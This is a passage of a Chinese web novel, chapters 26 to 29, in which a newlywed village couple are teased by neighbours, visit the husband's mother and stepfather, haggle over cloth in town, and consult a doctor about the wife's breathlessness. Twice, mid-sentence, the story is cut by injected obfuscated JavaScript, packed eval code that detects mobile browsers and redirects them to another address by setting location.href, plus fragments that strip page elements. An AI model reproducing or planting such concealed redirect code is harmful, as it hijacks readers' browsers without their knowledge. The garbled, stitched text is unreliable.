昨天里正过去主婚,知道他们这两天还有的奔波,让他随时过来牵骡子。 原老员外过世之前,他就当上了里正,和居于蒲家塘的两户人家都有交情,对原耕耘和向园这两个小辈也很是关照,否则也不会来掺和他们的婚嫁。 时间不早,村路上聚了不少人,两人一一称呼过去。 他们这样的组合有些奇怪。 向园是村里的人,父母亡故后投靠外婆,几年没回来,在村里反倒陌生。 原耕耘不是村里的人,父亲亡故,他分了家后彻底在村里扎 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“还有九郎,要是懂,怎么不得做做样儿,哪会这样就带着媳妇儿出来溜达!” “樊嫂子也是,这么重要的事怎么也不交代清楚!” “你让她跟谁交代,她就是想起来了,又能怎么说。向丫头不懂也就算了,怎么九郎血气方刚一个大小伙子,也不懂呢?” 这话通常都是爹教儿子,娘传女儿,做母亲的不好跟儿子说,当婆婆的也不好跟儿媳妇儿说。 更何况,婆婆不兴进新房,樊云英就是想说,儿媳妇儿过门后,还没跟她碰过面,也说不成。 周二仓也傻眼了,跟杨可真面面相觑。 杨可真觉得是周二仓的问题,“你到底说清了没?” 周二仓肯定说不清啊,他根本就没说,原耕耘好像很懂的样子,他才刚起个头就被他嘲笑了,他还怎么说。 “他说他懂、他会,我还用说什么。”总不能九郎说会,他还非要教吧。 “嘿,我还是去买个避火图送他好了。”他道。 杨可真:“……” 这事儿很难评,男人很不靠谱,她一点也不想说话。 目光围拢而来,向园就有些发怵,她朝原耕耘走近一点,紧紧挽着他的胳膊。 原耕耘也发现了,把人往自己身边带了带,安慰她,“别怕,等会儿我问问怎么回事。” 都不等他去问,周二仓自己就凑上来了,欲言又止。 向园小跑到杨可真跟前儿,依着她的胳膊站定,原耕耘立在原地,目光却紧紧跟随着她,片刻不离。 这一阵风功夫,才有些新婚小两口的模样。 杨可真拉着向园转了一圈,悄声问:“难受不?” 向园摇头,又点头,“杨姐姐,是不是我和耕耘哥哥昨天哪里做得不好,怎么大家看我俩的眼神都怪怪的。” 杨可真:“……你没有不好,是九郎不好,这事儿,让他操心去吧。” 向园可放心不下,她嫁给他,他俩就是一起的,他不好,她自然也不会好。 她担心地朝原耕耘望过去。 正在听周二仓讲话的原耕耘回望一眼,安抚般点点头,向园看懂了,这是让她别担心。 周二仓苦口婆心,“我说九郎啊,前天我说那事儿,你真懂啊?” 原耕耘:“……就因为这个,你们一个个才这么奇怪地看我们?” 他觉得不可思议。 周二仓:“……是我们奇怪还是你们奇怪,你俩看着就不像做了夫妻的人,还说我们奇怪!” 原耕耘很惊讶,他跟向园就差揉巴揉巴团成一团了,就这还不像两口子,那些一个个恨不得离对方八丈远的才像? 而且,他们怎么知道他们没做成两口子? 他们虽然没做成,但两口子能干的事,他们一点没少干。 “你,你们没趴我家窗户缝吧?”他怀疑地看向周二仓,又扫了一眼瞧见他们就窃窃私语的乡亲们。 “不是,你还真没成啊?”周二仓表情沉痛,颇有几分恨铁不成钢,“你瞅瞅你,说教你你还不当回事儿,等着吧,有你后悔的!” 等他把避火图买回来,这兄弟就知道自己错过多么重要、多么美妙、多么难以忘怀的夜晚了,这一辈子都难补回来喽! 原耕耘:“……” 原耕耘无话可说,“我们还要去白石滩,回头再说吧。” 他拉着向园走了。 26. 第 26 章 去白石滩的路上,向园还在担忧,“耕耘哥哥,到底怎么回事儿?” 原耕耘也不好说,“他们觉得咱俩像小孩子。” 不像两口子,那就是不像大人,不像大人,那就是像小孩子。 向园信了,乡亲们看他俩的目光,的确充满怜爱。 她不担心了。 往白石滩走,走小路的话比较近,但是需要越过蓼河。 蓼河很宽,深的地方得摆渡,浅的地方要看季节,涨水时就要蹚水,退水时可以走汀步。 他们今天驾了骡车,不能走小路,得走大路从草市桥那里绕。 今儿个是圩日,他们正好买点东西给娘带去。 “耕耘哥哥,咱们要买点什么?”还没到地方,向园已经模糊听到喧嚷的声音,她好奇起来,勾着头往前看。 今天是十一,耕耘哥哥也确实带她带赶圩了,虽然跟她之前想的不大一样,但比她之前想得还好,他们成亲了。 原耕耘扶她坐稳,问她,“总是喊四个字,嘴巴会不会累?” 她的嘴唇嫣红的,像月季花瓣,他太清楚有多柔软,仿佛揉一揉,就要碎掉,就要碾出花汁来。 “那九哥?”向园这样喊过,喊起来毫无压力。 她觉得他的名字很好听,他的小名儿也好听,他的生辰也好记。 “嗯。”原耕耘身体朝她倾了倾,低低应了一声。 向园听出他的高兴,兴致勃勃道:“我还可以叫你相公、郎君、当家的,还可以叫官人。” 以后有了孩子,还可以叫孩儿他爹。 向园想想之前见过的,孩儿娘揪着孩儿爹耳朵骂的场景,觉得这个称呼还是挺令人期待的。 她抬头看原耕耘的耳朵。 耕耘哥哥的耳朵不大不小,和他的肤色一样白,就是看着有些硬,应该不太好捏? 向园听外婆说过,肯让婆娘揪耳朵的男人大都是耳根子软的,也有一些在外头耳根子硬,见着老婆耳根就软了的。 不过这样的人不好遇见,遇见了就是福气。 向园觉得她这辈子大概是没这个福气了。 原耕耘偏头看他,耳朵自然也偏离了她的视线。 “你还可以叫我的名字。”他道。 “好啊,单看你想听哪个。”向园很好说话。 耕耘哥哥耳根子硬就硬吧,反正她耳根子软,只要他啾的时候,像昨晚那样,不把她啾疼,她就愿意让他享老婆福。 “嗯。” 圩市的喧嚣淹没了原耕耘的回应,向园兴高采烈地走在他身边,旧话重提,“我们要给娘和敬叔买些什么好?” 她很自觉,还没敬茶,一声声娘喊得就很甜。 原耕耘失笑,“娘喜欢吃桃酥,给敬叔带两坛酒就行。” 他们还带了山鸡和竹笋,还有向园做的针线,这就差不离了。 梅丛殊交代过向园,虽然时间紧,但是任凭别的事情放一放,先给樊云英做两件针线,鞋子也好,衣裳也好,是她的心意。 新婚送礼不好送单样,向园缝了一身衣裳,纳了一双鞋子,成一整套,也算用心了。 只是敬叔那里,她却不好拿捏分寸,表哥让她都听耕耘哥哥的。耕耘哥哥说不用做,那她就不做。 原耕耘拍拍她的手,示意她不用紧张,“谷叔很和气。” 没成亲之前,那是谷叔,向园当然可以把他当成一个和蔼可亲的长辈尊敬。 但成亲了,那就是继父,她要是不表示,稍微心胸狭隘一点就要记恨她吧。 向园睁大眼睛看他。 原耕耘低头跟她对视,“等以后娘有了孩子,你可以给小叔子、小姑子做两件针线。” 至于其他人,绝对不可能。 就像他不会拿谷叔攒的料子给她裁衣裳一样,他也不会让她给除他以外的男人做针线。 就是娘再有弟弟,小时候穿一两件她做的针线也就罢了,五岁、不,三岁之后就别想了。 “我们先去,下晌早点回来,再好好逛逛。”原耕耘买好东西,扶向园上车,往白石滩方向走。 白石滩谷家。 虽是交代儿子不要太早过来,但是他们来得晚了,樊云英又担心。 担心小两口不节制,真的就起不来床了。 担心儿子嘴不好使,笨得连哄人都不会。 她站在门口张望,谷敬端着金银花茶跟在她后头,这两天太忙了,樊云英着急上火,燎了一嘴泡,这茶是给她败火用的。 谷敬劝道:“你别急,有这么远路,他们且得走呢。” 樊云英扇扇风,“我不急,我就是担心,也不知道他们小两口过不过得来日子。” 说到底,改嫁这个事儿,她不愧对原家,不愧对亡夫,却愧对原耕耘这个儿子。 谷敬明白她的心思,将茶水递过去,“耕耘不是心里没数的人,你得放心。他原来就是不管不顾的性子,成了亲,凡事也都要掂量着来,更何况耕耘本就周全呢。他脾气硬,娶个脾气软的媳妇儿,俩人才能过到一起去。” 樊云英也觉得是,她喝了一口茶水,虽不像之前那样心急火燎了,也不肯进屋去。 谷敬又劝她,“你说说你,要是他俩来了,见你在门口守着,心里能好受?指定要觉得自己来得晚了,我看你还是进屋等,这院门大喇喇敞着,有什么动静第一时间就能听见,咱们再出来接也不迟。” 樊云英总算听进去这话,进屋去了。 没多大会儿功夫,原耕耘他们到了。 “这家就是。”原耕耘往柱树干上拴骡车,给向园指门。 大门没关,向园勾着头往里瞧,院子里也没人。 “娘!”她试探着喊了一声,声音不大。 原耕耘失笑,把装衣裳的包袱和点心递给她,教她,“你大点声喊,最好娘出来之前,先把邻居们喊出来,让他们知道你来瞧婆婆,娘保准高兴。” 还要跟人炫耀,这样漂亮的小娘子是我儿媳妇儿,跟我儿子可般配吧? 向园:“……” “娘!”她憋红了脸,大喊一声,后头的“你在家吗”几个字就低的听不见了。 邻居并没有比樊云英先出来,他们几乎是同时出来的。 “园园来啦!”樊云英听见喊,应着声往外跑。 右边邻居家院子小,离门口近,已经在门口张望起来,“谷嫂子,这是你闺女?” 樊云英笑得灿烂,挽住向园的胳膊跟她们介绍,“是我儿媳妇儿,这不昨儿个刚成婚今儿个就来瞧我。” 左边那一家上下打量向园一番,道:“怪不得阿三认错,模样这样标致,看着的确像你闺女。” 如樊云英的美貌就不多见,不知内情的人认错也情有可原。 谷敬笑呵呵地帮原耕耘卸车,“那也是我们耕耘长得俊人品好,才能娶着这样漂亮的媳妇儿。” 樊云英瞪他一眼,这家伙会不会说话,李家的见天嫌儿媳妇儿丑,这话不是戳人家肺管子吗? 果然隔路那家收了笑脸,撇嘴道:“长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16204913|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊有什么用,长得俊也不是你生的。” 谷敬脸红了红,他确实不大会说话。 原耕耘就把两坛酒递给谷敬,“爹,给你打的烧酒,不过你可不能多喝,人家说,这酒后劲儿大,多喝伤身,得悠着点喝。” 谷敬脸更红了,这会儿不是羞愧,而是高兴。 他红光满面,“呵呵,好,呵呵!” 他乐呵呵的,反倒把邻居这茬给忘了,对方讨了个没趣儿,哐当一声,闭紧了大门。 向园有些担心地看向樊云英。 她自己是个软和的性子,做过最硬气的事儿也就是从槐树井跑回来,遇上这样的邻居,她就不知道怎么办了,这不得见天生气? 樊云英安抚般拍拍她的手,倒是颇为意外地看了原耕耘一眼,拉着两人进屋去。 向园先送衣裳鞋袜,后给两人敬茶,耕耘哥哥叫过爹,她就也跟着叫爹。 反正原伯伯也不能跑出来揍她一顿,就是要揍,也是先揍耕耘哥哥。 衣裳鞋袜没有谷敬的,他丝毫不以为意,甚至还一脸喜气,给向园封了个红封。 继子前头不叫爹,刚成亲第二天就叫爹了,这可不就是媳妇儿娶得好? 前头成婚,他都没出上多大力,主要是原耕耘不要,现在包红封,他就相当大方,不仅自己大方,还让媳妇儿也大方。 红封不仅给向园封了一份,也给原耕耘封了一份。 原耕耘过手,看向园往荷包里装红封,就把自己的也塞进她的荷包。 谷敬和樊云英看着,又是一阵笑。 吃了饭,两人就要走,樊云英问:“怎么这么着急?” 向园不好说自己急着去赶圩。 原耕耘回答:“向园东西还没理清,得回去收拾收拾。” 成亲也就是这两三日,两三日过后,他们还是要柴米油盐过日子的,这都是正事,樊云英没再挽留。 但对于儿子对媳妇儿的称呼,她很有意见。 她凑近了教训儿子,“你这是什么毛病,都是你媳妇儿了你还连名带姓地喊,就不能软和儿点。” 原耕耘全程拉着向园不撒手,樊云英找向园说个私房话的工夫都没,但她看向园气色不错,两人也亲热,根本就没往没成事儿这一茬上想。 原耕耘虚心聆听,但没打算改。 她就是向园,他就是原耕耘,他不觉得有什么不能叫的。 她的名字起在那儿,但真正叫她全名的,除了他还有谁呢,叫向园不就挺好? 他想做完全拥有向园,也完整属于向园的原耕耘,而不只是一个可靠的、共同生活的、像表哥一样的可以依赖的、也可以随时被替代的男人。 樊云英一看他这模样就知道他不会改,她叹了口气,“你就是不会喊娘子、媳妇儿什么的,也喊个园园,园园听着,心里也甜乎啊。要是她见天连名带姓的喊你,你能高兴?” 原耕耘能高兴,他打算今晚就教她这样喊的。 但他娘这势头,他要不服个软,只怕还有得绕。 他朝向园招手,“娘子,过来跟娘道别。” 樊云英:“……” 这是什么语气?瞅瞅这是人说的话吗?不知道的还以为你昨晚搂着木头桩子睡的呢,咋这么会使唤人?她就不该多这个嘴! 樊云英气得不轻。 向园已经乖乖过来,“娘。” 声音很甜,笑得也很甜。 樊云英:“……” 要不是俩孩子差着年龄,还真像抱错了。 27. 第 27 章 蓼县隶属于香河府,香河府辖六县,蓼县是其中之一,因蓼河穿县而过得名。 蓼县多河,水运便利,四通八达,又处于香河府中心区域,是以香河府府治也设在蓼县内,不过府衙在西南,县衙在东。 因此,香河府的人称呼蓼县一般不直接叫蓼县或县城,都喊府城或香河府城,而府城,自然是比县城要热闹得多。 有一大晌的工夫,原耕耘直接带着向园进城。 骡车穿过草市桥,到河口草市时还没停下的意思,继续往前走。 向园急了,“耕耘哥哥,过了过了!” 原耕耘笑,“嗯,咱们先进城逛,城里逛完再过来这边。到傍晚时分,草市集散,会有许多实惠又便宜的好东西,咱们来捡漏。” 这样啊! “好!”向园应道,“但我们不要去东北角,我舅舅大妗子在那里住,我们可别撞上他们。” “嗯。”原耕耘知道梅家杂货铺的位置,“我们去东南角,去给你买尺头裁衣裳。” “家里有布的。”向园说的是原耕耘下聘送去的两匹布,还有梅丛殊给她置办的嫁妆里的两匹布。 “那都是别人挑的,今天咱们去,你自己挑,挑你喜欢的花色,不是还要买花绳和针线?你看缺什么,咱们一道买齐。” 她有两箱嫁妆,都是梅丛殊置办的,原耕耘不知道里头是什么,但是看过梅丛殊给的单子,也听梅丛殊说过,她存了一百二十文铜钱,让他记得回头买十二月花颜色的花绳给她,让她串钱用。 向园点头,她做针指确实要买些针线。 原耕耘还没说完,“咱们买完东西,去芙蓉街吃鱼圆鸡汤,你晌午是不是没吃饱?” 他之前猜错了,他娘的手艺不好,敬叔的手艺也实在不怎么样,他娘能长胖,看来真的是过得顺心如意吧。 向园点头又摇头。 敬叔给她盛的米饭太扎实了,冒尖儿不说,还压得瓷实,大家都快吃完了,她的还有一大半,耕耘哥哥直接从她碗里扒走了,为此还得了娘一顿训。 耕耘哥哥说的鱼圆鸡汤,她虽然没见过,但听这名字,就知道一定好吃。 可是他们这几天没少吃好的,一会儿买东西还要花钱,再去吃鱼圆,好像有点奢侈。 他们俩不会过着过着就吃不上下顿饭了吧。 但这话不能直接跟耕耘哥哥说,向园找了另一个充分的理由,“家里还有好些东西呢,天气快热起来了,再放恐怕要放坏了。” 晨起原耕耘收拾碗筷的时候,她进灶棚看过一眼,确实还有不少食材。 光是鸡就还有三只呢,蹄膀还有一个,这都是大菜,且不能用别的东西替代,原耕耘都多准备了一些,就预备着万一客人来得多,能及时上桌。 她这样会过日子,原耕耘倒不知道该说什么好,“肉和菜我都吊井里了,咱俩成亲,这几天没顾上大黑、二黄、三白,蹄膀回头炖了,给它们啃骨头。鸡可以用盐腌上做风干鸡,什么时候吃都方便。 “芙蓉街的那家食铺,鱼圆鸡汤做得特别好,鸡汤黄澄澄的,又鲜又香还不腻歪,鱼丸白生生的,又脆又弹,没一点腥气,里头还会加蛋皮和山珍,有一股独特的香味,你真的不想去尝尝?” 原耕耘拿鸡汤引诱向园。 他们进城一回也不容易,不能总去借车。今天不去吃的话,下一回进城还不知道是什么时候,可美味的东西自然是越早让她尝到越好。 而且,他还要带向园去医馆看看。 先带她去看大夫,她怕苦,万一要抓药的话,得找些能甜她嘴巴的东西,让她不怕吃药。鱼圆鸡汤就不错,好吃好喝又补身体。 向园不舍得摇头,她想去尝尝。 原耕耘拉住她的手晃晃,“那咱们就去尝尝。向园,今天咱们出来就是花钱来的,钱也就是让花的,咱们不花,放在那儿,它又不会下崽儿,永远就还是那么些钱。但要是花了,不管是买吃的喝的,还是穿的用的,只要喜欢,只要高兴,就不浪费。男人挣钱就是让媳妇儿花的,媳妇儿不花,男人就不爱挣钱了。” 这是歪理,就没有人不爱挣钱的,除非是懒汉。 向园不吝惜溢美之词,“耕耘哥哥,你真是个好男人,好丈夫!对我好,对娘好,世上再也没有比你更好的人了,我真有福气!” 原耕耘捏捏她白里透粉的脸蛋儿,“嗯,会替丈夫花钱,能鼓励丈夫挣钱的媳妇儿也是好媳妇儿,能娶到这种媳妇儿的男人也有福气。向园,你要做个好媳妇儿,让我做个有福气的男人吗?” 向园点头。 这样的好媳妇儿,就没人不愿意做的。 娘真是把耕耘哥哥教的太好太好了,对媳妇儿尤其好。 向园还是很小的时候逛过府城,那记忆过于久远,久远到已经模糊了,所以此时看着鳞次栉比的商铺,她满眼都是稀奇。 上次从城墙底下过,怎么都没注意呢。 大概那时候全凭本能在逃,脑子里想的都是快点儿、再快一点儿,她都不记得自己在城里走的哪道街,哪条巷了。 原耕耘对城里很熟悉,经过一个地方就要告诉向园,这里是哪,干什么的,有什么特别的地方。 但凡向园多瞅两眼的,他就要把车停下来,带她去逛。 其实今天城里算不得太热闹,因为河口草市有圩,小商户为了招揽生意,都会拉了货过去支个小摊子,相比较,城里的铺子就冷清一些。 原耕耘带向园进了一家布庄,他前几天才在这里置办过聘礼,觉得布匹花色还是挺多的,应该会有向园喜欢的。 向园看得眼花缭乱,她确实很喜欢,好看的东西没人不喜欢,墙上挂的布就没有不好看的。 素色的有的纯净柔美,有的流光溢彩,带花儿的有的繁复华丽,有的清新自然,向园觉得眼睛都不够用了。 小伙计看到一对养眼的夫妻也很热情,“客官想看些什么?” 原耕耘就看向园。 向园不知道,她怕自己随手指一个就贵得买不起。 原耕耘看向小伙计,小伙计就很有眼色的介绍起来:“娘子穿的话,这一架花色就不错,都是精细棉布,花样多颜色也漂亮,青春鲜嫩,小娘子都爱买,价格也不贵,十文一尺。这天儿马上就热起来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214232|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棉布吸汗还透气,穿着舒服。 “这边的夏布,最适合夏天穿,做个衫子裙子的,可软和了。这种素色的是三文钱一尺,染色的是五文钱一尺,白底带花的六文钱一尺,染色带彩花的要多个两文钱,八文钱一尺。” “这个呢?”原耕耘指着一溜看着就轻薄,颜色也别致的料子问。 向园刚进店头一眼就看的这个,看了好一会儿才移开目光,他发现了。 “客官眼光真好。我正要说呢,这可是当下最时兴的绫纱和线罗,这是良纱,这是银丝纱,做成裙子穿,不止凉快,还漂亮,行走之间,哎呦呦,那银光闪着,就跟缀了星星似的。娘子这般姿容,穿布衣荆裙就如天仙下凡了,要是穿上这样一条裙子,那还了得,恐怕要羞得花都不敢开,月亮都得藏起来啦!” 向园觉得小伙计这张嘴太能说,他怕原耕耘真要买这个什么银丝纱,赶紧拉他的手,指着白底雪青碎花的夏布料子道:“我喜欢这个。” 掺了银丝的纱,那能便宜吗?不得跟银子一个价儿啊。 她却不知道,银丝纱只是个名儿,实际上里头没有银丝,只是嵌了像银丝一样的线,才这样叫。 原耕耘反手握住她的手,问小伙计:“成匹买会比单买便宜些吗?” 成匹买?成匹买好啊! 小伙计喜出望外,乐颠颠道:“当然,当然,您两位先看,看好了我看怎么给两位舍零头。” 这布一般都是长四丈阔六尺,各地出的布可能长宽稍有差别,一般不会差得太多。 原耕耘不懂裁剪,但听他娘说过,一匹布,顶多能做两身衣裳,这还是穿衣裳的人体型娇小,裁缝手艺高,俭省着用布料的情况下。 所以他就不想几尺几尺地裁了,直接问向园,除了刚才指的那个,还喜欢哪个花色。 向园不指了,他都要成匹买了,那花色只能她穿,一匹足够她做两身衣裳了,替换着,能从初夏穿到秋天,这就很好了。 就算要花钱,也不能这样不节制的花。 她觉得若论对好媳妇儿的理解,耕耘哥哥一个大男人肯定不如她,她还是要俭省些的。 她不肯挑,原耕耘就顺着她挑的那一匹,找相似的花色,找一匹,指着问向园。 向园:“……” 原耕耘都不用她回答,只看眼神就知道她喜不喜欢。 “这个,这个,这两个,还有这个,帮我算一下。”看过一圈,原耕耘朝小伙计道。 “好嘞!”小伙计拿着算盘,噼里啪啦给他算账。 “这匹雪青碎花苎布是二百四十文一匹,雪灰色桃花纹棉布是四百文一匹,青素银丝纱是八百八十文一匹,山梗紫绫纱是六百四十文一匹,蓝绉纱没货了,只剩下这两丈六尺,这些您都要的话,这蓝绉纱就按半匹给您算,是三百文,一共二两四钱六分,再给您舍个零头,承惠二两四钱五分。” 向园都呆住了,这么点东西,怎么就这样贵。 她存了五两银子就觉得很多很多了,这些布要是都买回去,那他们的家当还能有多少? 她不要,她拉住原耕耘的手,使劲儿摇头。 28. 第 28 章 原耕耘依旧握住,捏捏她的手指,跟小伙计讲价。 “我们要得多,再舍一点。我初六那天还在你们这儿买过两匹布呢,成亲用的,一匹山黎豆红纱,一匹松绿色缠枝莲纹细棉布,我娘子喜欢,我今个儿又带着她过来了,你给个实在价,我们以后常来。” 还要常来? 向园蔫了,“耕耘哥哥……” 原耕耘说的不是假话,那两匹布小伙计有印象,他眼睛发亮,“那就再给您抹个零头。” “不行!”向园鼓起勇气开口。 小伙计吓了一跳,漂亮的小娘子发起火来不仅漂亮,还很凶。 原耕耘低头看她,向园气弱,“真要买啊?” 原耕耘没回,他问,“不想做好媳妇儿了?” 向园摇头。 原耕耘摸摸她的头发,她还不会梳别的发髻,今天依旧是双螺髻,光洁的额头却显露出来,大概是把碎发都别上去,又开了脸的缘故。 “买吧!”他凑近悄悄道:“你摸摸荷包,钱足够花的。” 说的是谷敬和樊云英给他们的见面礼。 向园捏捏荷包,是够用,但是…… “我不要这个桃花纹棉布了,给我换成这个夏布,那就比原来便宜一百六十文吧,二两四钱五分减去一百六十文,就是二两二钱九分,你要把九分都给我们舍了,我们才要。还要饶我们一包碎布头儿。” 既然这个钱非花不可,那向园就要使劲砍价,要让这钱花得值。 “娘子,你这也太狠了,一下子就给我压到本钱了。而且这价也不对,要是换的话,得是二两四钱六分减一百六十文,那就是二两三钱,你这一开口,就要我舍一钱银子,确实顾不住本啊。”小伙计痛心道。 向园扭头要走,或许是她转身的气势太足,不要的心过于坚决,小伙计连忙把目光转向看着很想给媳妇儿买的原耕耘身上,试图挽留顾客。 “客官,我还没恭贺两位大喜,您们能来小店是小店的荣幸,您看着多少再给我添点,我不挣钱也就卖了,也算沾沾两位的喜气。” 原耕耘觉得他这话说得不大实在,他不由反思,自己上次买的两匹布,是不是也买贵了。 他看向向园。 向园没工夫看他,转头对小伙计道:“谢谢小哥好意,但这布是我裁衣裳,我相公都听我的,你就说我说这价你能不能卖?不能卖我们就不耽搁你生意了。” 她作势要走。 原耕耘很稀奇,难道她真就有这种天赋? 这一点也不像是头一回砍价的样子。 向园不是头一回砍价,但却是这两三年头一回砍价。 以前她也就在货郎那里买些东西,货郎的东西都是死价儿,没有多一文少一文的,顶多你买得多了,他饶你一颗糖,一根针,但绝对没有舍零头这回事儿。 他们做的小本生意,挣得就是个辛苦钱,买者也都是图省个脚力,不是尖刻到骨子里的,一般也不会砍价。 但这样的大铺子就不一样了,买进卖出,囤积居奇,都是常有的。 像是夏布,冬天进货夏天卖,价格就能提上好些,再如棉花,夏天进货冬天卖,那价格肯定不一样。 梅表哥以前就是和这些人打交道的,最清楚里头的路数。 向园听他说过,所以她给的这个价就是再压低一些,老板也有得赚,只看他愿不愿意赚这样薄的利。 老板当然想赚,甚至不用老板出马,小伙计就怕他们这对大主顾走了,拍板要卖。 “客官,客官,别慌走呀!唉~算了,难道你们肯来光顾小店,又是这样的好日子,我亏点就亏点吧,折给您啦,两位以后可别忘了过来给我赶赶本儿啊。” 向园就知道,自己给的价还是高了。 真正卡着老板心口的价格,一定是小伙计拍不了板,又不舍得让他们走,赶忙去请示掌柜的,掌柜的还犹豫不决的价格。 只是这会儿也不好再说了,她决定,要碎布头的时候,要多挑一些,挑一大包。 向园谈价厉害,遇到人家说客气话的时候她就不行了,得原耕耘上。 “一定的,若不是照顾生意,我也不会直接就带我娘子到这儿来,我们秋冬做衣裳还来你们这儿买布买棉花。” 他说完,突然想起什么,道:“再给我包五斤棉花吧。” “好嘞!”小伙计应声,麻利地包布、包棉花。 原耕耘掏钱,向园去挑拣碎布头儿。 小伙计没想到她这么能挑,一会儿没瞧见就真地挑了一大包,好在都是裁下来的边边角角,细长条多,成块的少,他也不至于心痛肉痛的。 送走二人,小伙计又愁眉苦脸起来。 做了大生意不错,但是大生意可着掌柜的能让他做主的最低价开的,真是叫人心慌慌啊。 也不知道掌柜的会夸他厉害,还是会骂他蠢材。 花了这么大笔钱,向园抱着包袱,就跟抱着金子似的,都不舍得往车上放。 单是那么几匹布,就老大一包呢,她背在背上实在滑稽。 原耕耘无奈,接过来放到两人身后。 向园犹不放心,屁股往后拧了拧,坐上半个包袱边,二两多的东西,她得压着才安心。 原耕耘叫她这没出息的模样气笑了,打算以后挣钱再多带她来买几回。 向园不知道他心中所想,不过她此时是绝对不要去吃什么鱼圆鸡汤了,再好吃的东西,她这会儿吃,也要心疼。 她信誓旦旦地表示,“回去,我给你做!” 原耕耘看看天色,“……也成。” 买了花绳和针线后,他拐到点心铺子,给向园买雪片糕和麻糖杆。 既然不舍得吃那个,那就吃这个。买回去吃,多买点,能吃一阵子。 雪片糕薄如雪片,白如凝脂,细腻绵密,香甜柔软,且能久藏不硬,是平时很难吃到的点心。 价格也贵,五十文一盒,一盒也一斤多一点。 鉴于向园很可能没吃过,也很可能爱吃,原耕耘一下子买了两盒,估摸着够她吃一个月了。 麻糖杆是向园在槐树井时就经常吃的点心。 也不能说经常吃,反正他过去十次,有三次她都在吃这个,应该是很爱吃,又舍不得使劲儿吃,一根都能吃好久。 这个主料是麦芽糖、芝麻和花生仁儿,比用绵白糖和细糯米粉做的雪片糕便宜许多,二十六文一大包,原耕耘同样买了两大包。 只要不坏牙,让她可着劲儿吃,别吃伤了就行。 向园在点心铺子外看骡车,兼看布匹,眼睛倒是不时往铺子里瞟,看见原耕耘出来,眼睛一亮。 原耕耘微 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原耕耘不错眼地看着,很想亲吻她的手心,舔也可以。 他声音暗哑道:“不是还有?再拿一根吃。” 向园摇头,“回家再吃。”配着茶吃,更好吃一些。 拐过路口,就是医馆,向园以为是经过,但她现在没有药材卖,也没有在意,直到骡车停在医馆门口。 “耕耘哥哥,你病了?”她很担心。 “不是,去找大夫把个脉,你陪我?” 向园利落跳下车,此刻,骡车、布匹都没有耕耘哥哥的身体重要,不过她还记得把包袱背上。 原耕耘把骡车栓好,接过包袱,牵着她往医馆里走。 “谁看病?”老大夫问。 “我相公!”向园话还没说完,就被原耕耘按着坐下,“给我娘子看的。” 向园愣了。 老大夫点点头,“手伸出来!” 向园还在发愣,原耕耘就握着她手腕放到脉枕上,请大夫把脉。 老大夫的手指按在脉门上,向园动都不敢动,吞了吞口水,一脸紧张地望向原耕耘。 好好的怎么要带她来看病? 原耕耘回以一个安抚的眼神,站在她身后,等老大夫开口。 老大夫把了半天脉,问:“有什么症状?” 原耕耘觉得他医术恐怕不够高明,什么都没把出来,不过也恭谨回应,“不能哭,一哭就喘不过来气,呼吸急促。” 大夫捋着胡子沉思片刻,又问:“有没有哪里疼?”这是问向园的。 向园傻傻摇头,她就记得喘不上气了,不记得哪里疼,难道这也算病? 老大夫也觉得这不算病,女子体弱心小,爱生气的就是会这样,这没什么可看的。 原耕耘坚持让他看,“小时候不这样,受过惊吓后,才开始的,有十年了。” 向园更加惊奇,这是她自己都不知道的事,耕耘哥哥怎么知道的?难道是娘告诉他的? 向园想起离开前,樊云英拉着原耕耘说过几句悄悄话,觉得还真有可能。 但是她小时候受过什么惊吓呢? 向园不记得了。 29. 第 29 章 把脉把不出来什么,老大夫开始问诊,“可有胸胁胀痛之感?” 向园摇头。 “胃口如何?平时容易生气吗?”这是问原耕耘的。病者本身往往很难察觉自己的情绪,但一同生活的人一定清楚。 原耕耘摇头,向园胃口不错,不爱生气。 “有无手足麻木、浑身乏力之感?” “可觉心焦意燥、体虚劳倦?” “……” 向园统统摇头。 她的身体算是健康的,唯独听不得人大声,控制不住眼泪,一哭就打嗝就结巴这些算是毛病,但这些很难说是什么病症,向园觉得可能跟先天关系更大一些。 大夫想不通了,“看脉象没什么问题,按你说的,可能归结于喘证、痉证、厥证或肝郁气逆之证,但病者本身并无气虚、气机逆乱之象……” 他也有几分犯愁,“这样吧,先吃些红枣桂圆之类的补补气血,既不能哭,就以患者情绪为先,不要惹她哭,也不要惹她生气,饭食上注意,细嚼慢咽……” 大夫说了一堆,也没开方子,只给他们讲了几样能补气血的食物,这些向园自己也知道。 不用喝苦药,她挺高兴,“我就说我没有生病。” 原耕耘稍稍放心一些,点点头,“那咱们去草市桥赶圩。” 说着,忽地想起一件事,他让向园等在门口,找医馆的小伙计询问。 小伙计一愣,“您是说菟丝子?金线草?” 原耕耘点头。 他想着一会儿还是让老大夫给他看下舌苔,回去再让向园看看。要是两人说的对得上,也算是对向园医术的肯定,她说不定大受鼓励,学起来更有信心。 小伙计上下打量他一番,“客官只要这味药?” 他凑近原耕耘低声道,“我们这里有成药菟丝子丸,可管用了,空心头以盐酒、盐汤送服,十日见效。” 原耕耘皱皱眉,“我是想问这味药主治什么症状。” 不知道治什么症状就来问药? 小伙计眼神更奇怪了,直愣愣道:“补肾气,壮阳道,助精神,轻腰脚。①” 原耕耘:“……” 很好,他非得问清楚向园那天脑瓜子里到底想的什么。 